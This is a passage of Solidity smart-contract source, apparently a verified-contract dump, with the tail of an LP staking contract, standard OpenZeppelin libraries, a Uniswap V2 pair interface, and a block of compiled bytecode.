(uint256 sepaReserve, , ) = uniPair.getReserves(); uint256 sepaAmount = (userLpRatio * sepaReserve) / (1e36); return sepaAmount; } function _rewardedPointsLp(address staker) private view returns (uint256) { Staker storage st = stakers[staker]; uint256 _seconds = block.timestamp.sub(st.timestamp); uint256 earnPerSec = fixedConstantPerToken / (60 * 60 * 24); return (((st.lpToSepa * earnPerSec) * _seconds) / 1e18) * 2; } function depositLp(uint256 lpAmount) external nonReentrant { require(lpAmount > 0, "Insufficient amount"); require( uniPair.balanceOf(msg.sender) >= lpAmount, "Insufficient amount for deposit" ); uint256 sepaAmount = _calcSepaToken(lpAmount); require(sepaAmount > 0, "Insufficient amount"); address sender = msg.sender; uniPair.transferFrom(sender, address(this), lpAmount); consolidate(sender); totalLp += lpAmount; stakers[sender].lpToSepa += sepaAmount; stakers[sender].lpAmount += lpAmount; stakers[sender].lp = true; emit LpDeposited(sender, lpAmount, sepaAmount, block.timestamp); } function withdrawLp(uint256 lpAmount) public { address sender = msg.sender; require(lpAmount > 0, "amount cannot be zero!"); require(stakers[sender].lpAmount >= lpAmount, "Insufficient amount!"); require(uniPair.transfer(address(sender), lpAmount), "Transfer error!"); consolidate(sender); stakers[sender].lpAmount -= lpAmount; if (stakers[sender].lpAmount == 0) { stakers[sender].lp = false; stakers[sender].lpToSepa = 0; } else { stakers[sender].lpToSepa = _calcSepaToken(stakers[sender].lpAmount); } totalLp = totalLp - lpAmount; emit LpWithdrawed(sender, lpAmount, block.timestamp); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute. return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2); } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } /** *Submitted for verification at Etherscan.io on 2020-05-05 */ // File: contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b50600436106102275760003560e01c806370a0823111610130578063c30da48e116100b8578063dae7292a1161007c578063dae7292a146105b7578063e02023a1146105ca578063e5df8b84146105f1578063f122977714610604578063f5ab16cc1461061757600080fd5b8063c30da48e14610563578063c4f59f9b14610576578063ca8001441461057e578063d279c19114610591578063d547741f146105a457600080fd5b8063959afa15116100ff578063959afa15146104f6578063a07ddb3e14610509578063a217fddf14610535578063b6b55f251461053d578063bd7644b81461055057600080fd5b806370a082311461040d5780638c8794b9146104365780639168ae721461044957806391d14854146104e357600080fd5b806338066f3a116101b35780635312ea8e116101825780635312ea8e1461038d578063638634ee146103a057806367a09c23146103b3578063697b2365146103c65780636ebcf607146103ed57600080fd5b806338066f3a146103055780634216f972146103315780634cc822151461035a5780634ec81af11461037a57600080fd5b8063248a9ca3116101fa578063248a9ca31461029e5780632ddbd13a146102c15780632e1a7d4d146102ca5780632f2ff15d146102df57806336568abe146102f257600080fd5b806301ffc9a71461022c57806310fe9ae81461025457806318160ddd14610279578063211dc32d1461028b575b600080fd5b61023f61023a366004612a40565b6106ab565b60405190151581526020015b60405180910390f35b6008546001600160a01b03165b6040516001600160a01b03909116815260200161024b565b6004545b60405190815260200161024b565b61027d610299366004612953565b6106e2565b61027d6102ac366004612a06565b60009081526020819052604090206001015490565b61027d60065481565b6102dd6102d8366004612a06565b610780565b005b6102dd6102ed366004612a1e565b610a73565b6102dd610300366004612a1e565b610a9e565b61027d610313366004612939565b6001600160a01b031660009081526007602052604090206004015490565b61027d61033f366004612939565b6001600160a01b031660009081526007602052604090205490565b61036d610368366004612a06565b610b1c565b60405161024b9190612b5f565b6102dd6103883660046129ae565b610cf1565b6102dd61039b366004612a06565b610f1b565b61027d6103ae366004612939565b61109e565b61023f6103c1366004612985565b6110c5565b61027d7f40a5c770eee7730548a6335e1f372e76bf4759f6fda1a932bd9cfc33106f0b4c81565b61027d6103fb366004612939565b60056020526000908152604090205481565b61027d61041b366004612939565b6001600160a01b031660009081526005602052604090205490565b61027d610444366004612939565b611211565b6104a2610457366004612939565b600760205260009081526040902080546001820154600283015460038401546004850154600590950154939492939192909160ff808216916101008104821691620100009091041688565b6040805198895260208901979097529587019490945260608601929092526080850152151560a0840152151560c0830152151560e08201526101000161024b565b61023f6104f1366004612a1e565b6112ca565b6102dd610504366004612a06565b6112f3565b61027d610517366004612939565b6001600160a01b031660009081526007602052604090206003015490565b61027d600081565b6102dd61054b366004612a06565b611560565b6102dd61055e366004612939565b61177e565b61027d610571366004612939565b6117ad565b61036d6117f3565b6102dd61058c366004612985565b611855565b6102dd61059f366004612939565b6118b1565b6102dd6105b2366004612a1e565b611a43565b6102dd6105c5366004612a06565b611a69565b